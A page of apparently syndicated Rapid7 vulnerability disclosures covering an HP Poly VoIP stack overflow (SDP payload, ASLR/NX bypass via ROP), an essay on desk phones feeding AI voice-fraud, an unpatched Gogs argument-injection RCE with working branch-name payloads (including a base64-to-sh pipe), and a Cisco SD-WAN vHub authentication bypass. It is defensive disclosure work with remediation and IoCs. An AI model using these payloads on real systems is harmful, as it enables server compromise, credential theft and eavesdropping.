Content-Type: application/sdp
Content-Length: 495

c=IN IP4 192.168.86.122
m=audio 50786 RTP/AVP 0
a=rtpmap:0 PCMU/8000/1
a=candidate:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBB1111222233334444CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Upon receiving this SIP INVITE request, the helper function ParseICECandidate will parse the malicious candidate attribute, and a stack-based buffer overflow will occur. Observing the resulting crash in GDB, we can see that we have full control over the program counter (pc) register, several general purpose registers, and the data located at the stack pointer (sp).

image2.png
Figure 2: Inspecting a core dump showing the effects of the overflow.

Exploitation

Leveraging the overflow to execute arbitrary attacker controlled code is relatively straight forward. We can first note that Address Space Layout Randomization (ASLR) is present on the target, as shown below by inspecting /proc/sys/kernel/randomize_va_space in a root shell.

# uname -a
Linux (none) 2.6.27.18 #1 PREEMPT Mon Jan 13 09:50:58 PST 2020 armv6l unknown

# cat /proc/sys/kernel/randomize_va_space
1

Inspecting the polyapp binary with the checksec tool we can see that No Execute (NX) is enabled, so the stack data will not be executable. As we will not be able to execute a payload directly on the stack, we can overcome this by using a Return Oriented Programming (ROP) chain to bypass the NX mitigation. Additionally, the binary has not been compiled as a Position Independent Executable (PIE).

$ /usr/bin/checksec --file=rootfs/root/polyapp --format=json | jq
{
	"rootfs/root/polyapp": {
		"relro": "no",
		"canary": "no",
		"nx": "yes",
		"pie": "no",
		"rpath": "no",
		"runpath": "no",
		"symbols": "no",
		"fortify_source": "no",
		"fortified": "0",
		"fortify-able": "33"
	}
}

As the polyapp binary is always loaded at a low address (0x00008000), using Virtual Address (VA) values from this range will require the attacker to be able to place multiple null (0x00) bytes in the overflow buffer. This will not be possible due to how the SDP data is processed. 

We must discover a suitable workaround to exploit the vulnerability while not writing any null bytes in the overflow buffer. We could try to discover an information leak vulnerability, that leaks an address of a Shared Object (SO) location within the processes address space. If the SO is loaded at a location such that its addresses will not contain null bytes, we can use these addresses for ROP gadgets. In lieu of a suitable information leak vulnerability, we will require an alternative technique.

Conveniently to our purpose, ASLR is not operating as expected on the device, and does not impact the load address of Shared Object (SO) libraries. For example, libc will always be loaded at a Virtual Address (VA) of 0x40a5c000 on firmware version 6.4.7.4477. This does not change between process restarts or device cold reboots. Shown below is the same load address for libc in the polyapp process, across a cold reboot of the device.

# date
Fri Dec 12 15:05:56 UTC 2025
# ps -A|grep polyapp
 1461 root569m S/usr/local/root/polyapp 
# cat /proc/1461/maps | grep libc
40a5c000-40b76000 r-xp 00000000 00:01 581/lib/libc-2.8.so
40b76000-40b7e000 ---p 0011a000 00:01 581/lib/libc-2.8.so
40b7e000-40b80000 r--p 0011a000 00:01 581/lib/libc-2.8.so
40b80000-40b81000 rw-p 0011c000 00:01 581/lib/libc-2.8.so

# date
Fri Dec 12 15:14:12 UTC 2025
# ps -A|grep polyapp
 1482 root      569m S    /usr/local/root/polyapp 
# cat /proc/1482/maps | grep libc
40a5c000-40b76000 r-xp 00000000 00:01 581        /lib/libc-2.8.so
40b76000-40b7e000 ---p 0011a000 00:01 581        /lib/libc-2.8.so
40b7e000-40b80000 r--p 0011a000 00:01 581        /lib/libc-2.8.so
40b80000-40b81000 rw-p 0011c000 00:01 581        /lib/libc-2.8.so

Further inspection of the process maps file shows all shared libraries are loaded starting from a fixed address of 0x40000000 and do not appear to honor ASLR. Knowing this, we can build a simple ROP chain using gadgets located at fixed VA’s within the libc library. The gadgets we choose will not contain null bytes in their addresses.

We create a ROP chain that will execute an arbitrary OS command via the system standard C library function. The accompanying Metasploit exploit modules source code details the entire ROP chain.

Remediation

The following remediation guidance has been provided by the vendor.

“HP Poly recommends that administrators disable ICE connectivity in environments where it is not required. All affected Poly Voice devices should be updated to the latest available UCS release using the Poly Lens Device Management application.”

The following table indicates the appropriate fixed software releases.

Product Name

Updated version

VVX

UCS 6.4.8

Trio 8300

UCS 8.1.7

Trio 8500

UCS 7.2.8

Trio 8800

UCS 7.2.8

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Disclosure timeline

  • January 6, 2026: Rapid7 makes initial outreach to HP who confirm contact the same day.

  • January 7, 2026: Rapid7 discloses the technical writeup and exploit code to HP.

  • January 9, 2026: HP confirms the finding, and provides Rapid7 with affected models, a reserved CVE identifier and an expected fix date for May, 2026.

  • January 12, 2026: Rapid7 agrees to the fix date and asks for clarity on the end of support for the VVX series. HP replies the same day with requested information.

  • April; 21, 2026: HP states a new release date by end of July and confirms CVSS, CWE and remediation guidance. Rapid7 gives June 1 as the disclosure date.

  • May 5, 2026: HP provides affected models and confirms coordinate disclosure for June 1.

  • May 18, 2026: HP provides remediation version numbers for patched firmware.

  • June 1, 2026: This disclosure.

CVE-2026-0826: How an Old Bug Can Feed AI-Powered Impersonation

Post Syndicated from Douglas McKee, Director, Vulnerability Intelligence original https://www.rapid7.com/blog/post/ve-cve-2026-0826-how-an-old-bug-can-feed-ai-powered-impersonation

One of the more persistent myths in security is that old bug classes become old problems. They don’t. They just show up in different places, under different conditions, and usually at the exact moment we’ve convinced ourselves not to pay attention to them.

That’s part of what makes enterprise voice infrastructure so interesting.

Earlier this year, we wrote about a critical vulnerability in Grandstream VoIP phones that showed how easily a trusted communications device could become something very different. It wasn’t especially flashy, but it reinforced the broader issue that phones are still part of the attack surface, even if many organizations don’t model them that way.

Today, we’ll again discuss the same uncomfortable reality. VoIP technology may sit quietly on a desk and look like a utility, but the security implications are anything but quiet. And when familiar vulnerability classes continue to surface in devices designed to sit at the center of sensitive conversations, it’s worth asking whether we’ve been underestimating this part of the environment for far too long.

Rapid7 Senior Principal Security Researcher Stephen Fewer discovered CVE-2026-0826, a critical unauthenticated stack-based buffer overflow vulnerability affecting multiple HP Poly VoIP devices. If you’ve been around vulnerability research long enough, the bug class here is going to feel very familiar. And interestingly enough, that’s exactly why it deserves attention. These older exploitation primitives never really went away; they just found new places to cause problems.

CVE-2026-0826

CVE-2026-0826 is a critical unauthenticated vulnerability affecting multiple HP Poly VoIP devices, including models in the VVX and Trio product lines. At a high level, this is a classic memory corruption bug. If the right conditions are present, a remote attacker can exploit the vulnerability to gain control of an affected device without authentication.

For most organizations, the technical root cause will matter to the teams responsible for remediation, validation, and long-term hardening. But from a risk perspective, the takeaway is much simpler in that a trusted business phone can potentially be turned into an attacker-controlled asset.

That matters because these devices often live in places we inherently trust such as executive offices, conference rooms, help desks, trading floors, hospital stations, and other environments where sensitive conversations happen every day. A compromise in that context is not just about device access. It’s about what that access enables.

Why this is still exploitable in 2026

One of the questions I get all the time when I teach SANS SEC660 is whether basic buffer overflows are still relevant. Students will usually ask some version of, “Are we really still dealing with this?” and right behind that, the follow-up of “Don’t modern mitigations make these bugs much harder to exploit?”

They’re fair questions. The reality is that modern mitigations absolutely matter, and in many cases they do make exploitation more difficult. But they don’t make memory corruption go away. What they really do is change the path from bug to impact. So when we looked at this issue, the obvious question wasn’t just whether a stack overflow existed, but whether the protections in place actually prevented it from becoming meaningful code execution.

In this case, they didn’t.

This is one of those cases where the presence of modern mitigations looks better on paper than it does in practice. The protections that should have made exploitation significantly harder ultimately didn’t stop an attacker from turning the bug into full code execution on the device.

So yes, the bug class is old-school. But the exploitation path is still very real.

Why attackers care about desk phones now

Now, on its own, “root shell on a phone” sounds bad, but maybe not headline-worthy to some people. The real story is what that access gives an attacker in practice.

Over the past several years, advanced threat actors have increasingly shifted toward edge devices, embedded systems, and network appliances as a place to operate. And let’s face it, that makes sense. If you’re trying to persist quietly in an enterprise environment, you don’t necessarily want to live on the Windows system with every security product on earth installed on it.

You want the thing nobody is watching.

You generally can’t run modern EDR on a VoIP desk phone. You’re not going to see the same telemetry. You’re not going to get the same host-based detection coverage. And in many environments, those devices sit on the network for years with very little scrutiny beyond whether they can still make and receive calls.

That makes them useful not only as footholds, but also as infrastructure for internal pivoting, call manipulation, traffic interception, or quiet persistence.

And that’s before we even get to the part that I think is especially relevant right now in the age of AI. I’m referring to audio collection.

A listening post for the AI era

One of the more interesting shifts in today’s threat landscape is how valuable high-quality voice data has become.

Attackers no longer need massive datasets to make use of synthetic speech tooling. In many cases, they just need clean source audio of the right person saying enough words in enough contexts. That has made executive voice data, call recordings, and live conversation capture far more valuable than many organizations seem prepared to admit.

A compromised desk phone sitting in an executive office or conference room is not just a way to eavesdrop on sensitive discussions. It can also become a collection point for exactly the kind of audio that can be reused in vishing, deep fakes, social engineering, or even fraudulent financial authorization attempts.

The concern is not just “someone might hear something confidential.” That would be bad enough. The broader concern is that voice infrastructure can now support both traditional espionage objectives and modern AI-enabled fraud operations at the same time.

The bigger lesson

I think the real takeaway from this research is not merely that another VoIP phone had a memory corruption bug. As security researchers, we know those bugs are always out there somewhere. The more important lesson is that many organizations still don’t threat model voice systems with the same seriousness they apply to other enterprise assets.

It’s also part of a broader pattern I’ve been talking about in The Monday Brief that attackers don’t need especially novel tradecraft when defenders continue to overlook familiar weaknesses in trusted systems. 

We’ve gotten pretty good at thinking critically about identity systems, servers, cloud infrastructure, and endpoints. But desk phones often fall into this weird blind spot where they’re treated as appliances rather than computers with microphones, network connectivity, and administrative logic.

That mindset needs to change.

Because when a classic stack-based overflow can be leveraged into root access on a trusted office device sitting a few feet away from your leadership team, it’s no longer reasonable to think of that phone as “just a phone.”

It’s part of your attack surface. It’s part of your exposure. And depending on where it sits, it may also be one of the more efficient listening posts in your environment.

Because yes, the phones are still listening.

Authenticated RCE via Argument Injection in Gogs (NOT FIXED)

Post Syndicated from Jonah Burgess original https://www.rapid7.com/blog/post/ve-authenticated-rce-via-argument-injection-gogs-unfixed

Overview

Rapid7 Labs discovered a critical argument injection (CWE-88) vulnerability in Gogs, a popular open-source self-hosted Git service. Rapid7 Labs scores this vulnerability as CVSSv4 9.4 (Critical). The vulnerability allows any authenticated user to achieve remote code execution (RCE) on the server by creating a pull request with a malicious branch name that injects the –exec flag into git rebase during the “Rebase before merging” merge operation. At the time of publication, the vendor has not released a patch.

The exploit requires no admin privileges and no interaction with other users; an attacker operates entirely within their own account. Since Gogs ships with open registration enabled by default (DISABLE_REGISTRATION = false) and no limit on repository creation (MAX_CREATION_LIMIT = -1), an unauthenticated attacker can simply create an account and repository on any default-configured instance. Any registered user who creates a repo is automatically its owner. From there, enabling rebase merging is a single toggle in settings, and the entire exploit chain can be operated without interaction from any other user.

Alternatively, any user with write access to a repository where rebase is already enabled can exploit it directly. On instances where repository creation is restricted, an attacker still only needs write access to any repository that has (or can have) rebase merging enabled.

The result is arbitrary command execution as the Gogs server process user, giving the attacker the ability to compromise the server, read every repository on the instance (including other users’ private repos), dump credentials (password hashes, API tokens, SSH keys, 2FA secrets), pivot to other network-accessible systems, and modify any hosted repository’s code.

The latest release versions at the time of research, Gogs 0.14.2 and 0.15.0+dev (commit b53d3162), were confirmed to be affected. All prior versions supporting the “Rebase before merging” style are likely vulnerable as well.

Product description

Gogs is a lightweight, self-hosted Git service written in Go. With ~50,000 GitHub stars and over 5,000 forks, it’s one of the more popular self-hosted alternatives to GitHub, commonly deployed by companies, universities, and open-source projects.

A Shodan search for http.title:”Gogs” http.title:”Sign In” returns 1,141 internet-facing instances at the time of publication. The real install base is much larger since most deployments sit behind VPNs or internal networks.

Credit

This vulnerability was discovered by Jonah Burgess (CryptoCat), Senior Security Researcher at Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Impact

Any Gogs instance with more than one user account is effectively “multi-tenant”, meaning each user has their own repositories, credentials, and data on a shared server. This is the default for organizations, universities, and teams that use Gogs as a shared Git hosting platform. On any such instance, this vulnerability gives a single authenticated user full control of the underlying server. The attacker operates entirely within their own repository; no access to other users’ repos is needed.

The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the git user (UID 1000 by default). On binary installations, the process user depends on how the administrator deployed the service (commonly git or a dedicated service account).

The practical impact:

  • Server compromise: Arbitrary command execution as the Gogs process user (typically git)

  • Cross-tenant data breach: Read every repository on the instance, including other users’ private repos

  • Credential theft: Dump the database containing password hashes, API tokens, SSH keys, and 2FA secrets for all users

  • Lateral movement: Pivot to other systems reachable from the server’s network

  • Supply chain attacks: Modify any hosted repository’s code. The Gogs process user (typically git) has direct filesystem-level read/write access to every repository on the instance under a single REPOSITORY_ROOT directory, with no OS-level isolation between repositories. Direct filesystem manipulation bypasses Gogs’ audit logging, and without commit signing (uncommon on self-hosted instances), forged commits are difficult to detect.

The exploit is fully automatable (a Metasploit module is provided) and runs in seconds. When the attacker creates and deletes their own repository, the only trace is an HTTP 500 in the server logs. When exploiting an existing repository, additional artifacts remain (see heading Indicators of compromise).

Technical analysis

The testing target was a Gogs 0.14.2 installation running via Docker on Linux (Ubuntu 24.04). The vulnerability was also confirmed on Gogs 0.15.0+dev (commit b53d3162). As noted above, the vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods.

Background: Merge vs. rebase in Gogs

A ‘standard merge’ creates a merge commit joining two branch histories. A ‘rebase before merge’ replays the head branch’s commits on top of the base branch to produce a linear history. Under the hood, Gogs runs git rebase <base_branch> <head_branch> in a temp directory before pushing the result.

Critically, git rebase accepts an –exec flag that tells Git to run a shell command (via sh -c) after replaying each commit. Argument injection into –exec has been a recurring source of RCE vulnerabilities in Git-based applications. This is the exploitation primitive.

Gogs exposes ‘Rebase before merging’ as a per-repo setting (PullsAllowRebase). It is not enabled by default, but any repo owner or admin can enable it under Settings > Advanced. By default, any user who creates a repo is automatically its owner, so the barrier to exploitation is low. Administrators can restrict repo creation globally (MAX_CREATION_LIMIT = 0 in app.ini) or per-user (via Max Repo Creation in the admin panel), but this does not prevent exploitation by users with write access to existing repositories.

Root cause

The Merge() function in internal/database/pull.go passes the PR’s base branch name directly to git rebase without a — separator (a POSIX convention that signals the end of options, preventing subsequent arguments from being interpreted as flags):

if _, stderr, err = process.ExecDir(-1, tmpBasePath,
    fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath),
"git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil {

pr.BaseBranch comes from the URL parameter in internal/route/repo/pull.go:

baseRef := infos[0]  // from strings.Split(c.Params("*"), "...")

Both baseRef and headRef are validated via RevParse before the PR is created. RevParse is defined in the external git-module library and works by calling git rev-parse –verify <ref>, which only checks whether the ref resolves to a valid Git object. It does not sanitize against argument injection, and it does not need to since git rev-parse –verify treats –exec=… as a ref name and fails if it doesn’t resolve. However, the attacker pushes the malicious branch name (e.g. –exec=<payload>) to the repo first, so RevParse succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the rebase command.

Crafting the payload

Git branch names can legally contain $, {, }, =, and . An attacker creates a branch named:

--exec=touch${IFS}/tmp/rce_proof

When this is used as pr.BaseBranch, the rebase command becomes:

git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'

Git’s argument parser treats –exec=touch${IFS}/tmp/rce_proof as the –exec flag, not a branch name. –exec runs the value via sh -c after each replayed commit, and ${IFS} expands to a space in the shell, bypassing Git’s prohibition on spaces in branch names.

For commands containing characters forbidden in Git refs (:, ~, ^, ?, *, [, \, //), such as URLs, the payload is base64-encoded:

--exec=echo${IFS}<base64_payload>|base64${IFS}-d|sh

The vulnerability affects Windows installations as well, but the payload delivery method differs. On Linux, the payload can be base64-encoded inline in the branch name (e.g. –exec=echo${IFS}<b64>|base64${IFS}-d|sh). On Windows, this fails because NTFS forbids the | (pipe) character in filenames, and Git stores branch refs as files at refs/heads/<branch_name>.

The solution is file-based payload delivery where the exploit commits a script file (e.g. .abcdef) to the repository and uses a short, filesystem-safe branch name: –exec=sh${IFS}.abcdef. An additional complication is that MSYS2’s sh (bundled with Git for Windows) mangles shell metacharacters like $, &, and backticks in the payload before PowerShell can process them. To avoid this, the script file invokes cmd.exe //c .abcdef.bat (where //c is the MSYS2 escaping for /c), which natively executes the .bat file containing the PowerShell payload without shell interpretation issues. The Metasploit module implements this cross-platform approach automatically.

Execution flow during Merge()

The MergeStyleRebase code path in Merge() runs these Git commands sequentially:

Step

Command

Result with malicious branch

1

git clone -b ‘<malicious>’ <repo> <tmp>

Succeeds – -b consumes –exec=… as the branch value

2

git remote add head_repo <repo> + git fetch head_repo

Succeeds normally

3

git rebase –quiet ‘<malicious>’ ‘head_repo/feature’

RCE fires here. –exec=<cmd> parsed as flag, command runs via sh -c

4

git checkout -b <tmpBranch>

Succeeds (tmpBranch is a server-generated timestamp)

5

git checkout ‘<malicious>’

Fails – Git interprets –exec=… as an invalid option for checkout

Step 5 fails and Merge() returns HTTP 500, but the RCE already fired at Step 3. The 500 gets logged but doesn’t undo anything.

Because the merge aborts partway through, the repository’s git state is left corrupted (stuck in a partial rebase). This means the exploit can only be fired once per repository. In cases where the attacker created the repo themselves, this doesn’t matter since the repo is deleted afterward, but when targeting an existing repository, the repo is effectively burned after a single use.

Why the PR becomes mergeable

For the exploit to work, the PR needs to reach “Mergeable” status so the merge button is available. This depends on an interesting race condition in how Gogs validates PRs:

  1. During PR creation, testPatch() calls UpdateLocalCopyBranch(pr.BaseBranch). For a fresh repo with no local copy, it takes the Clone path, which includes –end-of-options. The malicious branch name is treated as data, clone succeeds, testPatch completes normally.

  2. Since testPatch didn’t flag a conflict, the status gets promoted to PullRequestStatusMergeable.

  3. The background TestPullRequests goroutine periodically re-checks PRs. On the next call, the local copy does exist, so UpdateLocalCopyBranch takes the Checkout path instead. This one is missing –end-of-options, so the checkout fails.

  4. That error causes TestPullRequests to skip checkAndUpdateStatus(), meaning the PR stays Mergeable forever.

The PoC leverages this by always creating a fresh repository, so the first testPatch hits the Clone path and succeeds.

Relationship to prior argument injection fixes

Gogs has addressed argument injection vulnerabilities across multiple prior advisories. This vulnerability is in the same class but affects a different code path (Merge()) that was never patched:

CVE

Description

Fix Applied

Advisory

CVE-2024-39933

Argument injection when tagging new releases

Added separator to git tag

GHSA-m27m-h5gj-wwmg

CVE-2024-39932

Argument injection during changes preview

Added –end-of-options to git diff

GHSA-9pp6-wq8c-3w2c

CVE-2026-26194

Release tag option injection in deletion

Migrated to safe git-module API

GHSA-v9vm-r24h-6rqm

CVE-2024-39930

Argument injection in built-in SSH server

Added separator to git upload-pack / git receive-pack

GHSA-vm62-9jw3-c8w3

The git-module library (v1.8.7) was hardened with –end-of-options across Clone(), Push(), Fetch(), and 28 other call sites. However, the Merge() function in internal/database/pull.go bypasses all of these protections because it uses raw process.ExecDir (wrapping exec.Command directly) instead of the safe git-module API. The git rebase call was never migrated.

Exploitation

The Metasploit module automates the full exploit chain against both Linux and Windows targets and supports two modes of operation:

  • own_repo (default): The module creates a temporary repository under the attacker’s account, runs the exploit, and deletes the repo on cleanup. This works on any default-configured instance and supports all payload types.

  • existing_repo: The module targets a repository the attacker already has write and merge access to. This is useful on instances where repo creation is restricted. Only command payloads are supported in this mode (staged payloads would require multiple merge cycles, which is not possible due to the repo corruption described above). Cleanup deletes the malicious branches and closes the PR, but the repository’s git state remains corrupted.

image1.png
Figure 1: Metasploit module obtaining a command shell session on a Gogs 0.14.2 instance running on Ubuntu.

On Windows, the module uses the file-based delivery method described above to work around NTFS filename restrictions.

Figure 2: Metasploit module obtaining a Meterpreter session on a Gogs 0.14.2 instance running on Windows 11.

Indicators of compromise (IoCs)

Defenders should watch the Gogs server logs for error entries matching this pattern:

[E] ...merge: git checkout '--exec=<...>': exit status 128 - error: unknown option `exec=<...>'

This is logged via c.Error(err, “merge”), which writes the full error (including the malicious branch name) to the server log at ERROR level. Note that a more cleverly written exploit may not be this obvious in log files.

If the attack targeted an existing repository (rather than one the attacker created and deleted), additional artifacts will be present: the malicious branch name (e.g. –exec=…) in the repository’s branch listing, a failed pull request in the PR history, and the repository itself will be in a corrupted git state (returning HTTP 500 on certain operations). On Windows, the committed payload files (e.g. .abcdef, .abcdef.bat) will also remain in the git history. Administrators should audit repositories for branch names beginning with .

The Metasploit module also creates a Gogs API token (named msf_<hex>) during exploitation. Gogs does not expose a token deletion API endpoint, so this token persists after the attack and remains valid until manually revoked via the web UI or database. Defenders should check user token lists at /-/user/settings/applications for unexpected entries.

The payload file used during exploitation is written to the repository’s bare git directory on the server filesystem and will persist after the attack.

Remediation

No patch is available at the time of publication. Rapid7 reported this vulnerability to the Gogs maintainers on March 17, 2026, and followed up multiple times through May 2026. The maintainer acknowledged receipt on March 28, 2026, but has not provided a fix or further response. Users of Gogs should evaluate the following mitigations:

  • Restricting user registration (DISABLE_REGISTRATION = true in app.ini) to prevent untrusted users from creating accounts. This is the most impactful mitigation since the exploit is self-contained within a single user’s repository.

  • Restricting repository creation (MAX_CREATION_LIMIT = 0 in app.ini) to prevent users from creating their own repos. This can also be set per-user via Max Repo Creation in the admin panel. This blocks the easiest attack path (creating a new repo with rebase enabled), but does not prevent exploitation by users with write access to existing repositories.

  • Auditing rebase merge settings: While “Rebase before merging” can be disabled per-repo under Settings > Advanced, note that this is not an effective defense against a malicious user who owns or has admin access to a repo, since they can re-enable rebase at will. There is no global or organization-level setting to restrict this. Disabling rebase is only useful for reducing the attack surface on shared repositories where the attacker has write access but not admin privileges.

Disclosure timeline

  • March 16, 2026: Vulnerability discovered and validated against Gogs 0.14.2 and 0.15.0+dev (commit b53d3162).

  • March 17, 2026: Reported to Gogs maintainers via GitHub Security Advisory (GHSA-qf6p-p7ww-cwr9).

  • March 28, 2026: Maintainer acknowledges receipt.

  • April 21, 2026: Contacted maintainer for a status update (no response).

  • May 6, 2026: Reminded maintainer of previously planned disclosure date, and offered extension if required (no response).

  • May 20, 2026: Advised maintainer the blog release date is finalized for May 28, 2026 (no response).

  • May 28, 2026: This disclosure.

CVE-2026-20182: Critical authentication bypass in Cisco Catalyst SD-WAN Controller (FIXED)

Post Syndicated from Jonah Burgess original https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed

Overview

While researching a critical authentication bypass vulnerability, CVE-2026-20127, which was exploited in-the-wild, Rapid7 Labs discovered a new authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Controller (formerly known as vSmart), CVE-2026-20182.

This new authentication bypass vulnerability affects the “vdaemon” service over DTLS (UDP port 12346), which is the same service that was vulnerable to CVE-2026-20127. The new vulnerability is not a patch bypass of CVE-2026-20127. It is a different issue located in a similar part of the “vdaemon” networking stack.

This impact however is the same, a remote unauthenticated attacker can leverage CVE-2026-20182 to become an authenticated peer of the target appliance, and perform privileged operations, such as injecting an attacker controlled public key into the vmanage-admin user account’s authorized SSH keys file. Once this has been performed, a remote unauthenticated attacker can login to the NETCONF service (SSH over TCP port 830) as the vmanage-admin user, and begin to issue arbitrary NETCONF commands.

CVE-2026-20182 has a CVSSv3.1 score of 10.0 (Critical), and a Common Weakness Enumeration (CWE) of CWE-287: Improper Authentication.

Technical analysis

The Cisco Catalyst SD-WAN Controller serves as the central control plane. Unlike Cisco Catalyst SD-WAN Manager, it has no web UI. Its network-reachable attack surface is narrow and depending on the configuration may expose the following ports:

Port

Protocol

Service

22

TCP

SSH (OpenSSH)

830

TCP

NETCONF over SSH

12346

UDP

vdaemon DTLS control plane

UDP port 12346 is the DTLS-over-UDP control-plane peering port used by vdaemon for inter-controller and controller-to-edge communication. It carries Overlay Management Protocol (OMP) messages including route advertisements, Transport Locations (TLOC) tables, and peer state – the entirety of the SD-WAN overlay routing fabric. Compromising this service means compromising the network.

To understand the vulnerability, we first need to understand how vdaemon authenticates control-plane peers. The protocol is a multi-phase handshake over DTLS:

Attacker                                    vSmart
   |                                           |
   |──── DTLS Handshake (any cert) ───────────>|  ← cert verify logs error but returns OK
   |                                           |
   |<──── CHALLENGE (msg_type=8) ──────────────│  ← 256 random bytes + TLVs
   |                                           |
   |──── CHALLENGE_ACK (msg_type=9) ──────────>|  ← device_type=2 (vHub) → NO VERIFICATION
   |                                           |
   |<──── CHALLENGE_ACK_ACK (msg_type=10) ─────│  ← peer->authenticated = 1
   |                                           |
   |──── Hello (msg_type=5) ──────────────────>|  ← passes auth check, peer goes UP
   |                                           |
   |<──── Hello (msg_type=5) ──────────────────│  ← peer-type:vhub, new-state:up

After a DTLS handshake completes (which accepts any client certificate), the server sends a CHALLENGE containing 256 random bytes and a set of TLVs including Certificate Authority (CA) RSA public key components. The client must respond with a CHALLENGE_ACK, and it is during the processing of this response, in vbond_proc_challenge_ack(), that device-type-specific certificate verification occurs. Or, in the case of a “vHub” device, does not occur.

The 12-byte message header format for the vdaemon protocol is as follows:

Byte Offset 

Byte Size 

Field

Notes

0

1

msg_type

Low nibble = type, high nibble = version

1

1

device_info

High nibble = device_type, low nibble = flags

2

1

flags

Standard value of 0xA0

3

1

padding

Always 0x00

4 – 7

4

domain_id

Big-endian uint32

8 – 11

4

site_id

Big-endian uint32

The vdaemon protocol defines the following device types, encoded in the upper nibble of header byte 1, aka device_info:

Value

Device Type

Role

1

vEdge

Data-plane router

2

vHub

Hub router

3

vSmart

Control-plane controller

4

vBond

Orchestrator (trust anchor)

5

vManage

Management plane

6

ZTP

Zero-touch provisioning

This is the core of the vulnerability. Below is a walk through of the decompiled code from vbond_proc_challenge_ack(), which processes the CHALLENGE_ACK message sent by a connecting peer. After the DTLS handshake, the function extracts the peer’s certificate serial number and then enters device-type-specific verification (Note: edited for brevity):

// vdaemon!vbond_proc_challenge_ack()
// After extracting serial number from peer certificate via
// X509_get_serialNumber() / ASN1_INTEGER_to_BN() / BN_bn2hex()

// ...snip...

if ( *(_DWORD *)(a3 + 8) == 3 || *(_DWORD *)(a3 + 8) == 5 ) // <--- [1]
{
// vSmart (type 3) or vManage (type 5): Certificate chain verification
v24 = is_serial_duplicate(v22, *(_DWORD *)(a3 + 8), ...);
if ( v24 )
    {
if ( (unsigned __int8)vbond_peer_dup_check(a1, a2, v24, ...) ) // <--- [2]
{
            v19 = 36;  // ERR: Duplicate Serial
goto LABEL_179;  // REJECT
}
    }
}
// ...snip...

// Second verification block - additional cert & state checks
if ( *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 3 // <--- [3]
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 3
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 5
|| *(_DWORD *)(a3 + 8) == 5 && *(_DWORD *)(a1 + 8) == 4
|| *(_DWORD *)(a3 + 8) == 3 && *(_DWORD *)(a1 + 8) == 4 )
{
    v19 = vdaemon_dtls_verify_peer_cert(a2);  // Full certificate verification
if ( v19 )
        v18 = 0;
    vdaemon_send_challenge_ack_ack(a1, *(_QWORD *)(a2 + 1232), a2, v18);
if ( v18 != 1 )
goto LABEL_179;  // REJECT on verification failure
vbond_send_ssh_keys_to_vmanage_peer(a1, a2);
}

if ( *(_DWORD *)(a3 + 8) == 1 // <--- [4]
&& (dword_2A1A28 == 4 || dword_2A1A28 == 3 || dword_2A1A28 == 5) )
{
// vEdge (type 1): Hardware/virtual edge certificate verification
    // ... challenge signature, board ID, OTP verification ...
if ( vdaemon_verify_peer_bidcert(a2, ...) )
goto LABEL_179;  // REJECT on failure
}

// *** NO CODE PATH FOR device_type == 2 (vHub) *** // <--- [5]

*(_BYTE *)(a2 + 70) = 1;   // peer->authenticated = true // <--- [6]
return 0LL;                // Success

We can see from the above that the function implements device-type-specific verification through a series of conditional blocks:

At [1] above, the function checks whether the connecting peer claims to be a vSmart (type 3) or vManage (type 5). If so, it enters a certificate serial number lookup via is_serial_duplicate(), which searches the local certificate database for a matching serial. At [2], if the serial is found, a duplicate-serial check via vbond_peer_dup_check() rejects the peer if a peer with that serial is already connected – preventing impersonation of existing authorized controllers.

At [3], a second verification block performs full certificate chain verification via vdaemon_dtls_verify_peer_cert(). This block executes only for specific (peer_type, local_type) pairs: vSmart-to-vSmart, vManage-to-vSmart, vManage-to-vManage, vManage-to-vBond, and vSmart-to-vBond. No pair in this block involves device type 2 (vHub). If the verification function returns a non-zero error, v18 is set to 0, and the function jumps to LABEL_179, which  rejects the peer.

At [4], vEdge peers (type 1) enter hardware certificate verification via vdaemon_verify_peer_bidcert(). This path validates either a hardware TPM-based certificate (for physical vEdge routers) or a virtual edge certificate, including challenge-response signature verification and board ID validation. Failure sends the function to LABEL_179, which  rejects the peer.

At [5], this is the bug, there is no “if” block matching a device type of 2 (vHub); the vHub device type simply has no verification code. The function falls through every conditional without entering any of them.

At [6], the function unconditionally sets “*(_BYTE *)(a2 + 70) = 1”, which is equivalent to ”peer->authenticated = true”, and returns success. The authenticated flag at peer struct offset 70 is the single bit that gates all subsequent message processing.

The following table summarizes the verification applied to each device type:

Device Type 

Value 

Verification 

Result 

vEdge

1

HW cert, challenge signature, board ID, OTP

Verified

vHub

2

None

Falls through to “peer->authenticated = 1”

vSmart

3

Cert chain, serial lookup, duplicate check

Verified

vBond

4

N/A (trust anchor – handled elsewhere)

vManage

5

Cert chain, serial lookup, duplicate check

Verified

